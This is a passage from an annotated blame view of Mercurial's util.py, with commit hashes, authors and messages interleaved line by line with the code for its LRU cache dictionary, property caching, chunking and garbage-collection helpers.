45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1300
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1301
        # Temporarily mark as newest item before re-adjusting head to make
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1302
        # this node the oldest item.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1303
        self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1304
        self._head = node.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1305
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1306
    # Additional dict methods.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1307
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1308
    def get(self, k, default=None):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1309
        try:
29839
79add5a4e857 util: properly implement lrucachedict.get()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29787
diff changeset
  1310
            return self._cache[k].value
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1311
        except KeyError:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1312
            return default
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
  1313
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
  1314
    def clear(self):
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1315
        n = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1316
        while n.key is not _notset:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1317
            n.markempty()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1318
            n = n.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1319
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
  1320
        self._cache.clear()
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1321
27576
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1322
    def copy(self):
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1323
        result = lrucachedict(self._capacity)
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1324
        n = self._head.prev
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1325
        # Iterate in oldest-to-newest order, so the copy has the right ordering
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1326
        for i in range(len(self._cache)):
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1327
            result[n.key] = n.value
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1328
            n = n.prev
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1329
        return result
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
  1330
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1331
    def _movetohead(self, node):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1332
        """Mark a node as the newest, making it the new head.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1333
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1334
        When a node is accessed, it becomes the freshest entry in the LRU
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1335
        list, which is denoted by self._head.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1336
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1337
        Visually, let's make ``N`` the new head node (* denotes head):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1338
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1339
            previous/oldest <-> head <-> next/next newest
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1340
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1341
            ----<->--- A* ---<->-----
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1342
            |                       |
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1343
            E <-> D <-> N <-> C <-> B
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1344
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1345
        To:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1346
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1347
            ----<->--- N* ---<->-----
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1348
            |                       |
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1349
            E <-> D <-> C <-> B <-> A
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1350
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1351
        This requires the following moves:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1352
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1353
           C.next = D  (node.prev.next = node.next)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1354
           D.prev = C  (node.next.prev = node.prev)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1355
           E.next = N  (head.prev.next = node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1356
           N.prev = E  (node.prev = head.prev)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1357
           N.next = A  (node.next = head)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1358
           A.prev = N  (head.prev = node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1359
        """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1360
        head = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1361
        # C.next = D
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1362
        node.prev.next = node.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1363
        # D.prev = C
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1364
        node.next.prev = node.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1365
        # N.prev = E
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1366
        node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1367
        # N.next = A
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1368
        # It is tempting to do just "head" here, however if node is
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1369
        # adjacent to head, this will do bad things.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1370
        node.next = head.prev.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1371
        # E.next = N
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1372
        node.next.prev = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1373
        # A.prev = N
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1374
        node.prev.next = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1375
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1376
        self._head = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1377
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1378
    def _addcapacity(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1379
        """Add a node to the circular linked list.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1380
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1381
        The new node is inserted before the head node.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1382
        """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1383
        head = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1384
        node = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1385
        head.prev.next = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1386
        node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1387
        node.next = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1388
        head.prev = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1389
        self._size += 1
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1390
        return node
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
  1391
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1392
def lrucachefunc(func):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1393
    '''cache most recent results of function calls'''
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1394
    cache = {}
25113
0ca8410ea345 util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents: 25112
diff changeset
  1395
    order = collections.deque()
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
  1396
    if func.__code__.co_argcount == 1:
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1397
        def f(arg):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1398
            if arg not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1399
                if len(cache) > 20:
16803
107a3270a24a cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents: 16769
diff changeset
  1400
                    del cache[order.popleft()]
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1401
                cache[arg] = func(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1402
            else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1403
                order.remove(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1404
            order.append(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1405
            return cache[arg]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1406
    else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1407
        def f(*args):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1408
            if args not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1409
                if len(cache) > 20:
16803
107a3270a24a cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents: 16769
diff changeset
  1410
                    del cache[order.popleft()]
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1411
                cache[args] = func(*args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1412
            else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1413
                order.remove(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1414
            order.append(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1415
            return cache[args]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1416
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1417
    return f
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1418
8207
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1419
class propertycache(object):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1420
    def __init__(self, func):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1421
        self.func = func
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1422
        self.name = func.__name__
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1423
    def __get__(self, obj, type=None):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1424
        result = self.func(obj)
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
  1425
        self.cachevalue(obj, result)
8207
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1426
        return result
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1427
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
  1428
    def cachevalue(self, obj, value):
19951
d51c4d85ec23 spelling: random spell checker fixes
Mads Kiilerich <madski@unity3d.com>
parents: 19852
diff changeset
  1429
        # __dict__ assignment required to bypass __setattr__ (eg: repoview)
19845
a1237a4b437d repoview: make propertycache.setcache compatible with repoview
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 19461
diff changeset
  1430
        obj.__dict__[self.name] = value
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
  1431
35053
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
  1432
def clearcachedproperty(obj, prop):
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
  1433
    '''clear a cached property value, if one has been set'''
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
  1434
    if prop in obj.__dict__:
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
  1435
        del obj.__dict__[prop]
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
  1436
7396
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1437
def increasingchunks(source, min=1024, max=65536):
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1438
    '''return no less than min bytes per chunk while data remains,
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1439
    doubling min after each chunk until it reaches max'''
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1440
    def log2(x):
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1441
        if not x:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1442
            return 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1443
        i = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1444
        while x:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1445
            x >>= 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1446
            i += 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1447
        return i - 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1448
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1449
    buf = []
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1450
    blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1451
    for chunk in source:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1452
        buf.append(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1453
        blen += len(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1454
        if blen >= min:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1455
            if min < max:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1456
                min = min << 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1457
                nmin = 1 << log2(blen)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1458
                if nmin > min:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1459
                    min = nmin
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1460
                if min > max:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1461
                    min = max
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1462
            yield ''.join(buf)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1463
            blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1464
            buf = []
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1465
    if buf:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1466
        yield ''.join(buf)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1467
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1468
def always(fn):
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1469
    return True
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1470
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1471
def never(fn):
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1472
    return False
724
1c0c413cccdd Get add and locate to use new repo and dirstate walk code.
Bryan O'Sullivan <bos@serpentine.com>
parents: 705
diff changeset
  1473
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1474
def nogc(func):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1475
    """disable garbage collector
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1476
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1477
    Python's garbage collector triggers a GC each time a certain number of
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1478
    container objects (the number being defined by gc.get_threshold()) are
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1479
    allocated even when marked not to be tracked by the collector. Tracking has
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1480
    no effect on when GCs are triggered, only on what objects the GC looks
23543
4dd8a6a1240d spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents: 23495
diff changeset
  1481
    into. As a workaround, disable GC while building complex (huge)
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1482
    containers.
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1483
33820
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33814
diff changeset
  1484
    This garbage collector issue have been fixed in 2.7. But it still affect
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33814
diff changeset
  1485
    CPython's performance.
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1486
    """
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1487
    def wrapper(*args, **kwargs):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1488
        gcenabled = gc.isenabled()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1489
        gc.disable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1490
        try:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1491
            return func(*args, **kwargs)
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1492
        finally:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1493
            if gcenabled:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1494
                gc.enable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1495
    return wrapper
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1496
33820
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33814
diff changeset
  1497
if pycompat.ispypy:
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33814
diff changeset
  1498
    # PyPy runs slower with gc disabled
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33814
diff changeset
  1499
    nogc = lambda x: x
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33814
diff changeset
  1500
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
  1501
def pathto(root, n1, n2):
886
509de8ab6f31 Fix walk path handling on Windows
Bryan O'Sullivan <bos@serpentine.com>
parents: 884
diff changeset
  1502
    '''return the relative path from one place to another.
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
